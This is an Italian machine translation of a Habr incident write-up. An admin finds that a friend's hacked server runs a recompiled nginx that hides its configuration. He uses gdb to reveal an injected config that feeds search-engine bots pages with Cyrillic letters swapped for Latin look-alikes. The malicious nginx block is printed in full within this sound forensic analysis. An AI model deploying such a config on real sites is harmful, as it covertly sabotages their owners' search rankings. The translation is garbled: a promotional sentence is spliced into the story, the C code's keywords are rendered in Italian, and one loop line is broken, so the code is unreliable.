Una storia piuttosto sgradevole è accaduta a un mio conoscente. Ma quanto è risultata spiacevole per Michail, tanto è stata affascinante per me.
Devo dire che il mio amico è piuttosto UNIX-utente: può installare il sistema da solo, configurare mysql, php e fare le impostazioni più semplici. nginx.
E ha una decina o più di siti dedicati agli strumenti di costruzione.
Uno di questi siti, dedicato alle seghe a motore, è ben posizionato nei risultati di ricerca. Questo sito è un resoconto non commerciale, ma a qualcuno non va giù e hanno cominciato ad attaccarlo. A volte . Allora, dove trovare veri specialisti del settore, pronti a difendere anche nelle situazioni più difficili?, a volte brute force, scrivono commenti inappropriati e inviano abusi all'hosting e al RKN.
Improvvisamente tutto si è calmato e questo silenzio si è rivelato poco promettente, e il sito ha cominciato a scivolare fuori dalle prime posizioni.

Quella era una premessa, ora inizia la vera storia dell'amministratore.
Era quasi ora di dormire quando squillò il telefono: «Sanya, non dai un'occhiata al mio server? Penso di essere stato hackato, non riesco a provarlo, ma questa sensazione non mi lascia da tre settimane. Forse è solo il momento di curarmi dalla paranoia?»
Dopo è seguita una discussione di mezz'ora che può essere riassunta così:
- il terreno per il hacking era piuttosto fertile;
- l'hacker avrebbe potuto ottenere i diritti di superutente;
- l'attacco (se c'è stato) era mirato proprio a questo sito;
- i punti problematici sono stati corretti e bisogna solo capire se c'è stata un'intrusione;
- l'hacking non poteva riguardare il codice del sito e i database.
Riguardo all'ultimo punto.

Al mondo guarda solo l'IP bianco del frontend. Tra il backend e il frontend non c'è scambio tranne http(s), gli utenti/password sono diversi e non si sono scambiati chiavi. Sugli indirizzi grigi tutte le porte tranne 80/443 sono chiuse. Gli IP bianchi dei backend sono noti solo a due utenti, ai quali Michail si fida completamente.
Sul frontend è installato Debian 9 e al momento della telefonata il sistema è isolato dal mondo tramite un firewall esterno ed è spento.
«Ok, dammi gli accessi, - decido di posticipare il sonno di un'ora. - Darò un'occhiata con i miei occhi».
Qui e oltre:
$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1
Alla ricerca di un possibile attacco
Avvio il server, prima in modalità rescue. Montando i dischi, sfoglio i log di auth-e la cronologia, i log di sistema, ecc., verifico le date di creazione dei file, per quanto possibile, anche se capisco che un attaccante esperto "spazzerebbe" via tutto, e inoltre Misha ha già "calpestato" molto mentre cercava da solo.
Avvio in modalità normale, senza sapere esattamente cosa cercare, esamino le configurazioni. Sono principalmente interessato a nginx poiché, in sostanza, non c'è null'altro sul frontend.
Le configurazioni sono piccole, ben strutturate in una decina di file, li esamino semplicemente cat’uno alla volta. Sembrerebbe tutto pulito, ma chissà se ho trascurato qualche include, farò un elenco completo:
$ nginx -T
nginx: il file di configurazione /usr/local/etc/nginx/nginx.conf ha una sintassi corretta
nginx: il file di configurazione /usr/local/etc/nginx/nginx.conf è stato testato con successo
Non ho capito: "Dove è l'elenco?"
$ nginx -V
versione nginx: nginx/1.10.3
supporto TLS SNI abilitato
argomenti di configurazione: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module
A proposito dell'elenco, si aggiunge un secondo: "Perché una versione così obsoleta di nginx?"
Inoltre, il sistema crede che la versione installata sia più recente:
$ dpkg -l nginx | grep "[n]ginx"
ii nginx 1.14.2-2+deb10u1 all piccolo, potente, server Web/proxy scalabile
Chiamo:
— Misha, perché hai ricompilato nginx?
— Calmati, non so nemmeno come farlo!
— Ok, bene, dormi…
Nginx è sicuramente stato ricompilato e l'output dell'elenco per "-T" è nascosto non a caso. Non ci sono più dubbi su un'intrusione e si può semplicemente accettare questa realtà e (dato che Misha ha comunque sostituito il server con uno nuovo) considerare il problema risolto.
E davvero, dal momento che qualcuno ha ottenuto diritti root‘a, ha senso fare solo system reinstall, mentre cercare cosa fosse andato storto è inutile, ma questa volta la curiosità ha vinto il sonno. Come sapere cosa ci volevano nascondere?
Proviamo a tracciare:
$ strace nginx -T
Esaminiamo, nella tracciatura mancano chiaramente righe di tipo
write(1, "/etc/nginx/nginx.conf", 21 /etc/nginx/nginx.conf) = 21
write(1, "...
write(1, "n", 1
Per curiosità confrontiamo gli output
$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264
Penso che una parte del codice /src/core/nginx.c
caso 't':
ngx_test_config = 1;
interrompere;
caso 'T':
ngx_test_config = 1;
ngx_dump_config = 1;
interrompere;
è stato portato alla forma:
caso 't':
ngx_test_config = 1;
interrompere;
caso 'T':
ngx_test_config = 1;
//ngx_dump_config = 1;
interrompere;
o
caso 't':
ngx_test_config = 1;
interrompere;
caso 'T':
ngx_test_config = 1;
ngx_dump_config = 0;
interrompere;
quindi il listing per «-T» non viene visualizzato.
Ma come possiamo vedere la nostra configurazione?
Se il mio pensiero è corretto e il problema è solo nella variabile ngx_dump_config proviamo a impostarla usando gdb, dato che l'opzione --with-cc-opt -g è presente e speriamo che l'ottimizzazione -O2 non sarà un problema. Dato che non so come ngx_dump_config poteva essere gestita in caso ‘T’:, non chiameremo questo blocco, ma la imposteremo usando caso ‘t’:
Perché è possibile utilizzare ‘-t’ allo stesso modo di ‘-T’Elaborazione del blocco if(ngx_dump_config) avviene all'interno if(ngx_test_config):
if (ngx_test_config) {
if (!ngx_quiet_mode) {
ngx_log_stderr(0, "il file di configurazione %s è stato testato con successo",
cycle->conf_file.data);
}
if (ngx_dump_config) {
cd = cycle->config_dump.elts;
for (i = 0; i config_dump.nelts; i++) {
ngx_write_stdout("# file di configurazione ");
(void) ngx_write_fd(ngx_stdout, cd[i].name.data,
cd[i].name.len);
ngx_write_stdout(":" NGX_LINEFEED);
b = cd[i].buffer;
(void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
ngx_write_stdout(NGX_LINEFEED);
}
}
return 0;
}
Certo, se il codice è stato modificato in questa parte e non in caso ‘T’:, quindi il mio metodo non funzionerà.
nginx.conf di testDopo aver risolto il problema empiricamente, è stato stabilito che per fare funzionare il malware è necessaria una configurazione minima nginx di forma:
events {
}
http {
include /etc/nginx/sites-enabled/*;
}
Questa sarà utilizzata per brevità nell'articolo.
Avviamo il debugger
$ gdb --silent --args nginx -t
Lettura dei simboli da nginx...fatto.
(gdb) break main
Punto di interruzione 1 a 0x1f390: file src/core/nginx.c, riga 188.
(gdb) run
Avvio del programma: nginx -t
[Debugging del thread utilizzando libthread_db abilitato]
Utilizzo della libreria libthread_db host " /lib/x86_64-linux-gnu/libthread_db.so.1".
Punto di interruzione 1, main (argc=2, argv=0x7fffffffebc8) in src/core/nginx.c:188
188 src/core/nginx.c: File o directory non esistente.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuando.
nginx: il file di configurazione /etc/nginx/nginx.conf ha una sintassi corretta
nginx: il test del file di configurazione /etc/nginx/nginx.conf è riuscito
# file di configurazione /etc/nginx/nginx.conf:
events {
}
http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
map $uri $sign_uri
{
"~* /wp-" 1;
default 0;
}
map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;
include /etc/nginx/sites-enabled/*;
}
# file di configurazione /etc/nginx/sites-enabled/default:
[Inferiore 1 (processo 32581) uscito normalmente]
(gdb) quit
Passo dopo passo:
- impostiamo un punto di interruzione nella funzione main()
- avviamo il programma
- modifichiamo il valore della variabile che determina l'output della configurazione ngx_dump_config=1
- continuiamo/terminiamo il programma
Come possiamo vedere, la configurazione reale differisce dalla nostra, isoliamo da essa il pezzo parassitario:
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
map $uri $sign_uri
{
"~* /wp-" 1;
default 0;
}
map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;
Esaminiamo nel dettaglio cosa succede qui.
Vengono definiti User-Agent‘ы yandex/google:
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
Vengono escluse le pagine di servizio wordpress:
map $uri $sign_uri
{
"~* /wp-" 1;
default 0;
}
E per coloro che rientrano in entrambe le condizioni precedenti
map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
nel testo html-le pagine vengono modificate ‘о’ in ‘o’ e ‘а’ in ‘a’:
sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;
Esattamente così, la sottigliezza è che ‘а’ != ‘a’ così come ‘о’ != ‘o’:

Pertanto, i bot dei motori di ricerca ricevono invece di un testo normale al 100% cirillico un rifiuto modificato mescolato con caratteri latini ‘a’ e ‘o’. Non mi azzardo a riflettere su come ciò influisca sul SEO, ma è improbabile che tale mescolanza di lettere abbia un effetto positivo sulla posizione nei risultati di ricerca.
Cosa dire, ragazzi con fantasia.
Link
Fonte: habr.com
